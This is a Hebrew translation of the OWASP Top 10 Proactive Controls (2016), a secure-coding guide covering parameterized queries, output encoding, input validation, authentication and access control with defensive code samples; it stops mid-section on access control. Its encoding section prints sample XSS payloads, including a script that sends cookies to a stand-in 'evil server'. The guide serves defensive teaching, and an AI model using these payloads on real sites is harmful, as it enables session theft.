מסמך עשרת הבקרות הפרו-אקטיביות של ארגון OWASP לשנת 2016

מפתחי תוכנה הינם הבסיס לכל יישום. על-מנת להשיג תוכנה מאובטחת, מפתחים נדרשים לקבל תמיכה ועזרה מהארגון עבורו הם כותבים קוד. כאשר מפתחים כותבים קוד אשר יוצר יישומי Web, עליהם לאמץ ולתרגל מגוון רחב של שיטות פיתוח מאובטח. כלל שכבות יישום ה-Web, ממשק המשתמש, הלוגיקה העסקית, הבקר, הקוד של בסיס הנתונים – כולן אמורות להיות מפותחות מתוך ראיית אבטחת מידע. הדבר עשוי להיות משימה מורכבת ולכן הדבר נידון לעיתים רבות לכישלון. מרבית המפתחים לא למדו פיתוח מאובטח או היבטי קריפטוגרפיה בבית ספר. שפות פיתוח ומסגרות עבודה (Frameworks) אשר בהן משתמשים מפתחים לפיתוח יישומי Web לרוב חסרים בקרות מהותיות או שהינם בלתי מאובטחים בדרך כלשהי כברירת מחדל. זה נדיר שארגונים מספקים למפתחים דרישות מחייבות המדריכות לנושא קוד מאובטח. במידה וכן, ייתכנו פגמים מובנים בשלב הדרישות או התכנון. בכל הנוגע לפיתוח מאובטח בעולם ה-Web, המפתחים לרוב נידונים להפסיד בכל הנוגע לאבטחה.

מסמך עשרת הבקרות הפרו-אקטיביות של ארגון OWASP מכיל רשימה של טכניקות אבטחה אשר אמורות להיות כלולות בכל פרויקט פיתוח קוד. הן מסודרות לפי סדר חשיבות, כאשר בקרה מספר 1 בעלת רמת החשיבות הגבוהה ביותר. מסמך זה נכתב ע"י מפתחים עבור מפתחים, על-מנת לסייע להכשיר מפתחים חדשים בנוגע לפיתוח מאובטח.

1. וודא היבטי אבטחה מוקדם ככל האפשר ולעיתים קרובות
2. שאילתות מבוססות משתנים
3. קידוד נתונים
4. בדיקת קלטים
5. יישם בקרות זהות ואימות
6. יישם בקרות גישה מתאימות
7. הגן על המידע
8. יישם תיעוד ואמצעים לזיהוי חדירות
9. שימוש בתכונות אבטחה של מסגרות עבודה (Frameworks) וספריות (Libraries) אבטחה
10. טיפול בהודעות שגיאה

מסמך זה תורגם ע"י אייל אסטרין

Email: eyal.estrin@gmail.com

Twitter: @eyalestrin

1. וודא היבטי אבטחה מוקדם ככל האפשר ולעיתים קרובות

תיאור הבקרה

בארגונים רבים, בדיקות אבטחת מידע מבוצעות מחוץ למחזור בדיקות הפיתוח, ולאחריהן נוקטים גישה של "סרוק ואח"כ תקן". צוותי האבטחה מריצים כלי סריקה או מבצעים בדיקות חוסן, מסווגים את התוצאות, ואז מציגים לצוותי הפיתוח רשימת חולשות לתיקון. גישה זו לרוב מכונה "גלגל הכאב של האוגר". קיימת גישה יעילה יותר.

בדיקות אבטחת מידע צריכות להיות חלק מובנה בהנדסת התוכנה של המפתח. בדומה לכך שלא ניתן "להכניס בדיקות איכות", לא ניתן "להכניס בדיקות אבטחה" ע"י כך שמבצעים בדיקות אלו בסוף פרויקט הפיתוח. נדרש לוודא היבטי אבטחה מוקדם ככל האפשר ולעיתים קרובות, בין אם ע"י בדיקות ידניות או סריקות אוטומטיות.

נדרש לשלב אבטחה בשלבי כתיבת תסריטי הבדיקות והמשימות השונות. נדרש לשלב בקרות פרו-אקטיביות בקצה ובדרייברים. תסריטי בדיקות אבטחת מידע אמורות להיות מוגדרות כך שתת-תסריט בדיקה יכול להיות מיושם ומאושר בסבב בודד; בדיקת בקרה פרו-אקטיבית חייבת להיות פשוטה. יש לשקול שימוש במסמך OWASP ASVS כמדריך להגדרת דרישות אבטחת מידע ובדיקות.

מומלץ לשקול לתחזק תבנית של תסריטי בדיקה, "כאשר <משתמש מקליד> אני מעוניין שתרוץ <פונקציה> על מנת <להשיג ערך מסוים>." מומלץ לשקול ליישם מנגנוני בדיקת המידע מוקדם ככל האפשר. יש לכלול בקרות אבטחת מידע מראש בזמן התכנון.

מתיחת זמן התיקון על גבי מספר מחזורי ריצה, עשויה להימנע במידה וצוותי אבטחת המידע עושים מאמץ **להסב תוצאות סריקה לכדי בקרות פרו-אקטיביות על-מנת להימנע ממחזור שלם של בעיות**. אחרת, תוצר סריקות אבטחת המידע הופך לדור, אשר ייקח מעל מחזור פיתוח לתקן. מומלץ למצוא זמן לבצע מחקר ולהפוך את ממצאי הסריקות לליקויי קוד, להפוך את ליקויי הקוד לבקרות פרו-אקטיביות, ולייצר פגישות של שאלות ותשובות עם צוותי אבטחת המידע על-מנת לוודא כי משימות הבדיקה מוודאות כי הבקרות הפרו-אקטיביות מתקנות את הליקויים.

מומלץ לנצל שיטות agile כגון פיתוחים מבוססי בדיקות (Test driven development), פיתוח מתמשך (Continuous Integration) ובדיקות בלתי-נלאות (relentless testing). שיטות אלו הופכות מפתחים לאחראים על הקוד שלהם, באמצעות לולאות משוב מהירות וממוכנות.

פגיעויות שנמנעות

- כולן!

מקורות מידע נוספים

- מדריך הבדיקות של OWASP
- מסמך OWASP ASVS

כלים

- OWASP ZAP
- OWASP Web Testing Environment Project
- OWASP OWTF
- BDD Security Open Source Testing Framework
- Gauntlt Security Testing Open Source Framework

הכשרות

- OWASP Security Shepherd
- OWASP Mutillidae 2 Project

2. שאילתות מבוססות משתנים

תיאור הבקרה

מתקפה מסוג SQL injection הינה אחד מסיכוני יישומי Web המסוכנים ביותר. מתקפה זו קלה לניצול, עם כלי תקיפה ממוכנים מבוססי קוד פתוח הזמינים להורדה. מתקפה זו עשויה לגרום לנזק הרסני ליישום עצמו.
החדרה בצורה קלה של קוד זדוני מבוסס SQL לתוך יישום ה-Web – וכל בסיס הנתונים עשוי להיגנב, להימחק או להשתנות. ניתן אף לנצל את יישום ה-Web להרצת פקודות מערכת הפעלה זדוניות כלפי מערכת ההפעלה המארחת את בסיס הנתונים עצמו. החשש הגדול בנוגע למתקפת SQL Injection הוא העובדה ששאילתות SQL והמשתנים שלהן הינן חלק ממחרוזת שאילתה בודדת.

על-מנת לעצור מתקפה מסוג SQL injection, מפתחים חייבים למנוע מקלט לא מאומת לעבור תרגום כחלק מפקודת ה-SQL. הדרך הטובה ביותר למנוע מתקפה זו הינה שימוש בשאילתה מבוססת משתנים. במקרה זה, פקודות ה-SQL נשלחות ומתורגמות ע"י שרת בסיס הנתונים, בנפרד מהמשתנים עצמם.

מסגרות פיתוח רבות (Rails, Django, Node.js וכו') מכילות מודל מסוג object-relational (ORM) על-מנת לבצע הפשטת התקשורת עם בסיס הנתונים. מודלי ORM רבים מספקים שאילתות מבוססות משתנים בצורה אוטומטית כאשר משתמשים בשיטות פיתוח לאחזור ועדכון מידע, אך על המפתחים לנהוג בזהירות כאשר מאפשרים למשתמש להזין קלט לתוך שאילתות מבוססות אובייקטים (OQL/HQL) או שאילתות מתקדמות אחרות הנתמכות ע"י מסגרות הפיתוח.

הגנה ראויה למתקפת SQL Injection כוללת שימוש בטכנולוגיות כגון ניתוח קוד סטאטי בצורה ממוכנת ומערכות לניהול תצורת בסיס הנתונים בצורה ראויה. במידת האפשר, מנועי בסיסי נתונים אמורים להיות מוגדרים לתמוך בשאילתות מבוססות משתנים בלבד.

דוגמאות לקוד Java

להלן דוגמא לשימוש בשאילתה מבוססת משתנים בשפת Java:

```
String newName = request.getParameter("newName");
String id = request.getParameter("id");
PreparedStatement pstmt = con.prepareStatement("UPDATE EMPLOYEES SET NAME = ?
WHERE ID = ?");
pstmt.setString(1, newName);
pstmt.setString(2, id);
```

דוגמאות לקוד PHP

להלן דוגמא לשימוש בשאילתה מבוססת משתנים בשפת PHP מבוססות PDO:

```
$stmt = $dbh->prepare(”update users set email=:new_email where id=:user_id”);
$stmt->bindParam(':new_email', $email);
$stmt->bindParam(':user_id', $id);
```

דוגמאות לקוד Python

להלן דוגמא לשימוש בשאילתה מבוססת משתנים בשפת Python:

```
email  = REQUEST[‘email’]
id = REQUEST[‘id’]
cur.execute("update users set email=:new_email where id=:user_id",
{"new_email": email, "user_id": id})
```

דוגמות לשימוש בקוד .NET

להלן דוגמא לשימוש בשאילתה מבוססת משתנים בשפת C#.NET:

```
string sql = "SELECT * FROM Customers WHERE CustomerId = @CustomerId";
SqlCommand command = new SqlCommand(sql);
command.Parameters.Add(new SqlParameter("@CustomerId",
System.Data.SqlDbType.Int));
command.Parameters["@CustomerId"].Value = 1;
```

סיכונים שנמנעים

- OWASP Top 10 2013-A1-Injection
- OWASP Mobile Top 10 2014-M1 Weak Server Side Controls

מקורות מידע נוספים

- OWASP Query Parameterization Cheat Sheet
- OWASP SQL Injection Cheat Sheet
- OWASP Secure Coding Practices Quick Reference Guide

3. קידוד נתונים

תיאור הבקרה

קידוד הינו מנגנון חזק המסייע כנגד סוגים רבים של מתקפות, בייחוד מתקפות מבוססות הזרקת קוד. בעקרון, קידוד כולל תרגום של תווים מיוחדים לייצוג אשר אינו בעל משמעות לרכיב התרגום. קידוד אמור לעצור מגוון סוגים של מתקפות הזרקות קוד לרבות קידוד בפלטפורמת Unix, קידוד בפלטפורמת Windows, קידוד מבוסס LDAP וקידוד מבוסס XML. דוגמא נוספת לקידוד היא קידוד לפלט המיועד למנוע מתקפה מסוג Cross Site Scripting (דוגמת HTML entity encoding, JavaScript hex encoding וכו').

פיתוחי Web

לעיתים קרובות מפתחי Web בונים עמודי Web בצורה דינאמית, המכילים עירוב של קוד סטאטי, פיתוחים מבוססי HTML/JavaScript ומידע המכיל קלט מהמשתמש או ממקורות בלתי מהימנים. קלט זה צריך להיחשב מידע בלתי אמין ומסוכן, אשר מחייב טיפול מיוחד כאשר מפתחים אפליקציות בצורה מאובטחת.

מתקפת Cross-Site Scripting (XSS) קורית כאשר תוקף גורם למשתמשי המערכת להריץ קוד זדוני אשר לא נבנה במקור עבור האתר שלך. מתקפות XSS פועלות בצד דפדפן המשתמש, ועשויות להיות להן מגוון רחב של תופעות לוואי.

דוגמאות

השחתת אתר באמצעות מתקפת XSS:

```
<script>document.body.innerHTML("Jim was here");</script>
```

גניבת מזהה שיחה (Session) באמצעות מתקפת XSS:

```
<script>
var img = new Image();
img.src="hxxp://<some evil server>.com?" + document.cookie;
</script>
```

סוגי מתקפות מסוג XSS

מתקפות מסוג XSS מתחלקות לשלושה סוגים:

- קבועות (Persistent)
- משתקפות (Reflected)
- מבוססות DOM (Dom based)

מתקפת XSS קבועה או שמורה (Stored XSS) קורית כאשר מתקפת XSS מוטמעת בתוך בסיס נתונים של אתר Web או במערכת הקבצים. סוג זה של מתקפה נחשב מסוכן ביותר מכיוון שמשתמשי המערכת כבר מחוברים לאתר כאשר המתקפה מופעלת, והזרקת קוד בודדת עשויה להשפיע על משתמשים רבים. מתקפת XSS משתקפת (Reflected XSS) קורית כאשר תוקף שומר תוכן XSS כחלק מה-URL וגורם לקורבן לפנות ל-URL. כאשר הקורבן פונה ל-URL, מתקפת ה-XSS מופעלת. סוג זה של מתקפת XSS פחות מסוכן מכיוון שהוא דורש רמה מסוימת של תגובה בין התוקף לקורבן.

מתקפה מסוג DOM based XSS הינה מתקפת XSS אשר קורית בתוך DOM, בניגוד לקוד HTML. במילים אחרות, העמוד עצמו אינו משתנה, אך קוד בצד הלקוח המוטמע בתוך העמוד מופעל בצורה שונה בשל עדכונים זדוניים אשר קרו בסביבת DOM. ניתן להבחין בקוד זה בזמן ריצה או ע"י בחינת קוד ה-DOM בעמוד.

לדוגמא, קוד המקור של העמוד hxxp://www.example.com/test.html מכיל את הקוד הבא:

```
<script>document.write("Current URL : " + document.baseURI);</script>
```

מתקפה מסוג DOM based XSS כלפי עמוד זה תצליח ע"י שליחת ה-URL הבא:
hxxp://www.example.com/test.html#<script>alert(1)</script>. כאשר בוחנים את קוד המקור של העמוד, לא ניתן לראות <script>alert(1)</script> מכיוון שהכול קורה בתוך ה-DOM ומופעל בעת הרצת קוד מסוג JavaScript.
קידוד פלט מבוסס הקשר הינה טכניקת פיתוח הנדרשת על-מנת לעצור מתקפה מסוג XSS. הדבר קורה על הפלט, כאשר מפתחים את ממשק המשתמש, ברגע האחרון לפני שמידע בלתי מאומת מתווסף בצורה דינאמית לקוד ה-HTML. סוג הקידוד הנדרש בהקשר של קוד ה-HTML אודות המידע הבלתי מאומת שמתווסף, לדוגמא בערך של תכונה, או כחלק מגוף ה-HTML, או אפילו במקטע של קוד JavaScript.
פונקציות הקידוד נדרשות לחסום מתקפות מסוג XSS לרבות קידוד HTML, קידוד JavaScript וקידוד אחוזים (ידוע גם כ-URL Encoding). פרויקט Java Encoder של ארגון OWASP מספק למקדדים פונקציות בקוד Java. בקוד NET. ה-AntiXssEncoder Class מספק מקודדים עבור CSS, HTML, URL, JavaScriptString ו-XML – מקודדים אחרים עבור LDAP ו-VBScript הינם חלק מספריית הקוד הפתוח AntiXSS. כל שפת פיתוח Web אחרת מכילה סוג כלשהו של ספריות פיתוח או תמיכה.

פיתוחי Mobile

בפיתוחי mobile, ה-Web view מאפשר ליישומי Andoird/iOS לתרגם תוכן HTML/JavaScript, ומשתמשות באותן מסגרות בסיסיות כדפדפנים המקומיים (Safari ו-Chrome). באותו האופן בו יישומי Web, מתקפת XSS קורית ביישומי Android/iOS כאשר תוכן HTML/JavaScript נטען לתוך Web view ללא סינון/קידוד. כתוצאה מכך, Web view עשוי להיות בשימוש אפליקציה זדונית צד ג' על-מנת להפעיל מתקפה מסוג Injection בצד הלקוח (לדוגמא: לצלם תמונה, לגשת לנתוני המיקום או שליחת SMS או מייל). הדבר עשוי להוביל לזליגת נתונים פרטיים ונזק כספי.
להלן חלק משיטות העבודה המומלצות להגנה על יישומי mobile ממתקפת Cross-Site Scripting מבוססות תוכן ע"י שימוש ב-Web view:
שימוש לרעה בתוכן שנוצר ע"י המשתמש: יש לוודא כי מידע עובר סינון או קידוד כאשר מציגים אותו ב-Web view.
טעינת תוכן ממקורות חיצוניים: יישומים אשר נדרשים להציג תוכן בלתי מאומת בתוך Web view צריכים להשתמש בשרת ייעודי על-מנת לתרגם ולבצע escape לתוכן HTML/JavaScript בצורה בטוחה. הדבר מונע גישה למשאבי מערכת מקומיים ע"י קוד JavaScript זדוני.

דוגמאות לקוד Java

לדוגמאות מתוך מסמך Java Encoding של ארגון OWASP להגנה מפני מתקפות Cross-Site Scripting, ראה: OWASP Java Encoder Project.

דוגמאות לקוד PHP

Zend Framework 2
ב-Zend Framework 2 , רכיב ה-Zend/Escaper משמש ל-escaping של מידע המיועד לפלט. דוגמא לקוד PHP ב-ZF2:

```
<?php
 $input = '<script>alert("zf2")</script>';
 $escaper = new Zend\Escaper\Escaper('utf-8');

 // somewhere in an HTML template
 <div class="user-provided-input">
 <?php echo $escaper->escapeHtml($input);?>
 </div>
```

פגיעויות שנמנעות

- OWASP Top 10 2013-A1-Injection
- OWASP Top 10 2013-A3-Cross-Site Scripting (XSS)
- OWASP Mobile Top 10 2014-M7 Client Side Injection

מקורות מידע נוספים

- מידע כללי אודות OWASP Top 10 2013-A1-Injection
- מידע כללי אודות מתקפת XSS
- OWASP XSS Filter Evasion Attacks
- כיצד לעצור מתקפות מסוג XSS ביישומי Web: OWASP XSS (Cross Site Scripting) Prevention Cheat Sheet
- כיצד לעצור מתקפות מסוג DOM XSS ביישומי Web: OWASP DOM based XSS Prevention Cheat Sheet
- שימוש בספריית Microsoft AntiXSS כמקודד ברירת המחדל בפיתוחי ASP.NET: http://haacked.com/archive/2010/04/06/using-antixss-as-the-default-encoder-for-asp-net.aspx/
- שימוש בספריית Microsoft AntiXSS על-מנת להגן על היישומים שלך מפני מתקפות Cross-Site Scripting, בראש ובראשונה באמצעות פונקציות קידוד: https://msdn.microsoft.com/en-us/security/aa973814.aspx

כלים

- OWASP Java Encoder Project

4. בדיקת קלטים

תיאור הבקרה

כל מידע אשר הוכנס ע"י או מושפע ע"י משתמשים, צריך להיחשב כבלתי אמין. יישום צריך לבדוק שמידע זה מהימן מבחינה תחבירית וסמנטית (בסדר הזה) לפני שמשתמשים במידע זה (לרבות הצגת מידע זה למשתמש). כמו-כן, היישומים המאובטחים ביותר מטפלים בכל המשתנים כבלתי אמינים ומספקים בקרות אבטחת מידע ללא קשר למקור המידע.

תקינות תחבירית פירושה מידע המופיע באופן המצופה לו. לדוגמא, יישום עשוי לאפשר למשתמש לבחור "חשבון משתמש" בן 4 ספרות על-מנת לבצע פעולה כלשהי. היישום אמור להניח כי המשתמש מזין תוכן מסוג SQL Injection, ואמור לבדוק כי המידע שהוזן ע"י המשתמש הינו באורך של 4 ספרות בדיוק, ומורכב מספרות בלבד (בנוסף להרצת שאילתה מבוססת משתנים).

בדיקה סמנטית מוודאת כי המידע הינו בעל ערך: בדוגמא המופיעה מעלה, על היישום להניח כי המשתמש הזין בצורה זדונית חשבון משתמש אשר הוא אינו מורשה לגשת אליו. על היישום לבדוק במקרה זה כי המשתמש מורשה לגשת לחשבון המשתמש אותו הוא הזין.

בדיקת קלטים חייבת להתבצע בשלמותה בצד השרת: בדיקות בצד הלקוח עשויות להיות בשימוש לצורכי נוחות בלבד. לדוגמא, בדיקת JavaScript עשויה להתריע למשתמש כי שדה מסוים מורכב ממספרים, אך בצד השרת חייבת להתבצע בדיקה כי השדה אכן מורכב ממספרים בלבד.

רקע

חלק נרחב מפגיעויות יישומי Web מתרחשות בעקבות חוסר בבדיקת קלטים, או בדיקת קלטים חלקית. "קלט" זה אינו קשור בהכרח לתוכן המוזן ע"י המשתמש מתוך ממשק המשתמש. בהקשר של יישומי Web (ו-Web services), הדבר כולל, אך אינו מוגבל ל:

- HTTP Headers
- Cookies
- משתנים מסוג GET ו-POST (לרבות שדות נסתרים)
- טעינת קבצים (לרבות מידע כגון שם הקובץ)

באופן דומה, ביישומי mobile, הדבר עשוי לכלול:

- תקשורת פנים-תהליכית (IPC – לדוגמא, Android Intents)
- מידע הנטען מ-Web services בתהליך אחורי
- מידע הנטען מהתקנים מסוג File system

קיימות שתי גישות לביצוע בדיקות קלט תחביריות, לרוב הן ידועות בשם black-listing ו-whitelisting:

Black-listing מנסה לוודא כי משתמש מסוים מזין קלט אשר אינו מכיל תוכן "הידוע כזדוני". הדבר דומה לאופן בו פועל אנטי-וירוס: בקו הגנה ראשוני, אנטי-וירוס האם קובץ מסוים מכיל תוכן הידוע כזדוני, ובמידה וכן הוא פוסל אותו. הדבר הופך לאסטרטגיית אבטחה חלשה.

Whitelisting מנסה לבדוק האם משתמש מסוים הזין קלט הידוע "כטוב". לדוגמא, יישום Web עשוי לאפשר למשתמש לבחור מבין שלוש ערים – בשלב זה היישום יוודא כי אחת הערים נבחרה, ויפסול כל קלט אחר. Whitelisting מבוסס תווים הינו צורה של whitelisting בו היישום מוודא כי המשתמש הזין קלט הכולל אך ורק תווים "טובים", או משווה את התווים לפורמט ידוע. לדוגמא, בדיקה המוודאת כי שדה "שם המשתמש" מכיל אך ורק תווים אלפאנומריים, ומכיל בדיוק 2 ספרות.

כאשר בונים תוכנה בצורה מאובטחת, השיטה המועדפת היא שיטה whitelisting. שיטת black-listing נוטה לטעויות וניתן לעקוף אותה באמצעות כל מיני שיטות התחמקות (ונדרש לעדכן אותה עם "חתימות" כאשר נוצרות מתקפות חדשות).

שימוש ב-Regular Expressions

Regular Expressions מאפשר לוודא האם מידע זהה לתבנית מסוימת – זוהי דרך טובה ליישם בדיקה בשיטת whitelisting.

כאשר משתמש נרשם לראשונה ביישום Web כלשהו, חלק מפיסות המידע הראשונות הנדרשות הן "שם משתמש", סיסמא וכתובת דואר אלקטרוני. במידה וקלט זה הגיע ממשתמש זדוני, הקלט עשוי להכיל מתקפה מבוססת תווים. ע"י בדיקה קלט המשתמש על-מנת לוודא כי כל פיסת מידע מורכבת מסט של תווים תקינים ועונה על ציפיות של אורך הקלט, נוכל להפוך התקפת יישום web זה לקשה יותר.

נתחיל עם בדיקת Regular Expression של שדה "שם המשתמש":

```
^[a-z0-9_]{3,16}$
```

בדיקת Regular Expression זו, בדיקת קלט, בדיקה מסוג whitelist של תווים חיוביים מאפשרת אותיות קטנות, מספרים ותו מסוג "_". גודל שדה "שם המשתמש" מוגבל לאורך 3-6 תווים בדוגמא זו.

להלן דוגמא של Regular Expression של שדה הסיסמא:

```
^(?=.*[a-z])(?=.*[A-Z]) (?=.*\d) (?=.*[@#$%]).{10,4000}$
```

בדיקת Regular Expression זו מוודאת כי הסיסמא באורך שבין 10 ל-4000 תווים ומכילה אות גדולה, אות קטנה, מספר ותו מיוחד (מסוג @, #, $, %).

להלן דוגמא של Regular Expression כל כתובת דואר אלקטרוני (בהתאם להגדרות HTML5 (http://www.w3.org/TR/html5/forms.html#valid-e-mail-address

```
^[a-zA-Z0-9.!#$%&'*+/=?^_`{|}~-]+@[a-zA-Z0-9-]+(?:\.[a-zA-Z0-9-]+)*$
```

חובה לשים לב כאשר משתמשים ב-Regular Expressions. ביטויים הכתובים בצורה גרועה עשויים לגרום למתקפת מניעת שירות (במילים אחרות ReDDoS). שימוש בכלי static analysis או בדיקות Regular Expression עשוי לסייע לצוותי הפיתוח למצוא בצורה פרו-אקטיבית מקרים אלו.

קיימים מקרים מיוחדים של בדיקות בהן שימוש ב-Regular Expressions אינו מספיק. במידה והיישום שלך משתמש בסימון (markup) – קלט בלתי מאומת מהמשתמש המכיל HTML – הדבר יקשה על הבדיקה. קידוד מקשה גם כן, מכיוון שהוא עשוי לשבור את כל התגיות האמורות להיות חלק מהקלט. לכן, עליך להשתמש בספרייה המתרגמת ומנקה טקסט בפורמט HTML. שימוש ב- Regular Expression אינו הכלי המתאים לתרגם ולסנן קוד HTML בלתי מאומת. למידע נוסף ראה XSS Prevention Cheat Sheet on HTML Sanitization.

דוגמאות לקוד PHP

סטנדרטי החל מגרסה 5.2, תוסף PHP filter מכיל סט של פונקציות אשר מסייעות לבדוק קלט מהמשתמש אך גם לבצע סינון ע"י הסרת תווים לא חוקיים. הדבר מהווה אסטרטגיה סטנדרטית לסינון מידע.

דוגמא לביצוע בדיקה וסינון:

```
<?php
$sanitized_email = filter_var($email, FILTER_SANITIZE_EMAIL);
if (filter_var($sanitized_email, FILTER_VALIDATE_EMAIL)) {
echo "This sanitized email address is considered valid.\n";
}
```

זהירות: שימוש ב-Regular Expressions

שים לב, Regular Expressions הינה דרך אחת לבצע בדיקה. שימוש ב-Regular Expressions עשוי להיות קשה לתחזוקה או להבנה ע"י חלק מהמפתחים. אלטרנטיבה לבדיקות אחרות כוללת כתיבת שיטות בדיקה המבטאות את החוקים בצורה ברורה יותר.

זהירות: בדיקות אבטחה

בדיקות קלטים לא הופכות בהכרח קלט "לבטוח" מכיוון שלעיתים נדרש לקבל קלט העשוי להכיל תווים מסוכנים כקלט תקין. האבטחה של היישום צריך לאכוף בדיקה היכן הקלט צריך להיות בשימוש, לדוגמא, אם משתמשים בקלט לבניית HTML response, קידוד ה-HTML המתאים צריך להיות מבוצע על-מנת למנוע מתקפות מסוג Cross-Site Scripting. כמו-כן, במידה ומשתמשים בקלט לבניית שאילתת SQL, יש להשתמש בשאילתה מבוססת משתנים. בשני המקרים (ובמקרים אחרים), אין להסתמך על בדיקת קלטים כאמצעי אבטחה!

פגיעויות שנמנעות

- OWASP Top 10 2013-A1-Injection (in part)
- OWASP Top 10 2013-A3-Cross-Site_Scripting_(XSS) (in part)
- OWASP Top 10 2013-A10-Unvalidated_Redirects_and_Forwards
- OWASP Mobile Top 10 2014-M8 Security Decisions Via Untrusted Inputs (in part)

מקורות מידע נוספים

- OWASP Input Validation Cheat Sheet
- OWASP Testing for Input Validation
- OWASP iOS Cheat Sheet Security Decisions via Untrusted Inputs

כלים

- OWASP JSON Sanitizer Project
- OWASP Java HTML Sanitizer Project

5. יישם בקרות זהות ואימות

תיאור הבקרה

אימות (Authentication) הינו מנגנון וידוא כי אדם או זהות הוא אכן מי שהוא טוען שהוא. אימות מתבצע לרוב באמצעות הזנת שם משתמש או ID ופרט מידע אישי נוסף אשר רק משתמש אחד אמור לדעת.

ניהול שיחה (Session management) הינו תהליך בו השרת מנהל מצב (state) של זהות אתה הוא מתקשר. נדרש מהשרת לזכור כיצד לנהוג למספר בקשות עוקבות במהלך עסקה (transaction). מזהה השיחה (Sessions) נשמרים בצד השרת באמצעות מזהה שיחה (Session identifier) אשר עשוי לנוע בין צד הלקוח לצד השרת כאשר משדרים ומבקשים בקשות. מזהה שיחה (Sessions) אמורים להיות ייחודיים לכל משתמש וכן מחושבים באופן בלתי אפשרי לניחוש.

ניהול זהויות (Identity management) הינו נושא רחב יותר אשר כולל לא רק אימות מנגנון ניהול שיחה (session management), אלא מכסה גם נושאים מורכבים כגון איחוד זהויות, SSO, כלי ניהול סיסמאות, מאגרי זהויות ועוד.

להלן מספר המלצות ליישום מאובטח, עם דוגמאות קוד לכל אחת מההמלצות.

שימוש באימות באמצעות מספר גורמים (Multi-Factor Authentication)

אימות באמצעות מספר גורמים (MFA) מוודא כי המשתמשים הינם מי שהם טוענים שהם באמצעות הדרישה לאמת את עצמם ע"י שילוב של:

- משהו שאני יודע (Something you know) – סיסמא או PIN
- משהו שאני מחזיק בו (Something I own) – טלפון או Token
- משהו שהנני (Something I am) – מזהה ביומטרי כגון טביעת אצבע

למידע נוסף ראה OWASP Authentication Cheat Sheet

יישומי מובייל: אימות מבוסס Token (Token-Based Authentication)

כאשר מפתחי יישומי מובייל, מומלץ להימנע מאחסון מזהי אימות בצורה מקומית במכשיר הנייד. במקום זאת, בצע אימות ראשוני באמצעות שם משתמש וסיסמא המוזנים ע"י המשתמש, ואז ייצר token מוגבל בזמן אשר ישמש לאימות בקשת הלקוח ללא שליחת נתוני ההזדהות של הלקוח.

יישם אחסון סיסמאות בצורה מאובטחת

על-מנת ליישם בקרת אימות חזקה, על היישום לאחסן בצורה מאובטחת את נתוני ההזדהות. יתרה מכך, בקרות קריפטוגרפיות אמורות להימצא כך שבמידה ונתוני הזדהות (כגון סיסמא) נפרצים, התוקף אינו משיג מיד גישה למידע.

למידע נוסף ראה OWASP Password Storage Cheat Sheet

יישם מנגנוני אחזור סיסמא מאובטחים

זה דבר שכיח שליישומים יש מנגנונים המאפשרים למשתמש גישה לחשבון שלו במקרה והוא שכח את הסיסמא. מנגנון אחזור סיסמא טוב יכיל שימוש באימות באמצעות מספר גורמים (לדוגמא שימוש בשאלת ביטחון – משהו שהמשתמש יודע, ואז שליחת token ייחודי למכשיר הסלולארי של המשתמש – משהו שהמשתמש מחזיק בו).

למידע נוסף ראה Forgot_Password_Cheat_Sheet וכן
Choosing_and_Using_Security_Questions_Cheat_Sheet

Session: חילול ופקיעת תוקף

בכל אימות מוצלח ואימות מחדש על התוכנה לייצר session ו-session ID חדש.

על-מנת למזער את משך הזמן שיש לתוקף להריץ מתקפה על session פעיל ולחטוף אותו, חובה להגדיר מנגנון פקיעת תוקף (expiration timeout) לכל session, לאחר זמן מוגדר של חוסר פעילות. אורך הזמן אמור להיות מותאם לערך הנתונים עליהם מעוניינים להגן.

למידע נוסף ראה Session_Management_Cheat_Sheet

חייב אימות מחדש עבור תכונות רגישות

עבור טרנסאקציות רגישות, דוגמת החלפת סיסמא או שינוי כתובת משלוח לרכישה, חשוב לחייב את המשתמש לבצע אימות מחדש במידת האפשר, על-מנת לחולל מזהה שיחה (session ID) חדש לצורך אימות מוצלח.

דוגמא לקוד PHP לאחסון סיסמא

להלן דוגמא לביצוע hashing על סיסמא בקוד PHP באמצעות פונקציית ()password_hash (הזמינה מגרסה 5.5.0) אשר כברירת מחדל משתמש באלגוריתם bcrypt. דוגמא זו משתמש בפקטור של 15.

```
<?php
$cost  = 15;
$password_hash = password_hash("secret_password", PASSWORD_DEFAULT, ["cost"
=> $cost] );
?>
```

סיכום

אימות וזהות הינם נושאים גדולים. אנו מגרדים כאן את השטח. וודא כי המהנדסים הבכירים שלך אחראים לפתרונות האימות.

פגיעויות שנמנעות

- OWASP Top 10 2013 A2- Broken Authentication and Session Management
- OWASP Mobile Top 10 2014-M5- Poor Authorization and Authentication

מקורות מידע נוספים

- OWASP Authentication Cheat Sheet
- OWASP Password Storage Cheat Sheet
- OWASP Forgot Password Cheat Sheet
- OWASP Choosing and Using Security Questions Cheat Sheet
- OWASP Session Management Cheat Sheet
- OWASP Testing Guide 4.0: Testing for Authentication
- IOS Developer Cheat Sheet

6. יישם בקרות גישה

תיאור הבקרה

Authorization (בקרת גישה) הינו מנגנון אשר בקשות גישה ליכולת או למשאב צריכות להינתן או להישלל. יש לציין כי Authorization אינו שווה ערך ל-Authentication (אימות הזהות). יש נטייה לבלבל בין מונחים אלו להגדרותיהם.

בקרת גישה עשויה להיות מורכבת ומבוססת ברובה על תכנון בקרות אבטחת מידע. בקרות הגישה ה"חיוביות" הבאות אמורות להופיע כדרישות בשלבי התכנון הראשוניים של פיתוח יישומים. ברגע שנבחרה תבנית פיתוח עבור בקרת גישה, לרוב הנושא מורכב ודורש זמן להתאים מחדש את בקרת הגישה ליישום על בסיס התבנית החדשה. בקרת גישה הינה אחד התחומים העיקריים בפיתוח מאובטח אשר נדרש להשקיע בו מחשבה רבה מראש, בייחוד כאשר מתייחסים לדרישות כגון multi-tenancy ובקרת גישה רוחבית (מבוססת מידע).

הכרח את כל הבקשות לעבור דרך מנגנון המוודא בקרת גישה

מרבית מסגרות העבודה (Frameworks) ושפות הפיתוח רק מבצעות בדיקה עבור בקרות גישה במידה והמפתח הוסיף בדיקה זו. הדרך ההפוכה הינה תכנון מבוסס אבטחת מידע, אשר כל הגישות מאומתות לפני כן. יש לשקול שימוש במסנן או מנגנון אוטומטי אחר על-מנת לוודא כי כל הבקשות עוברות דרך מנגנוני בקרת גישה כלשהם.

יש לשלול גישה כברירת מחדל

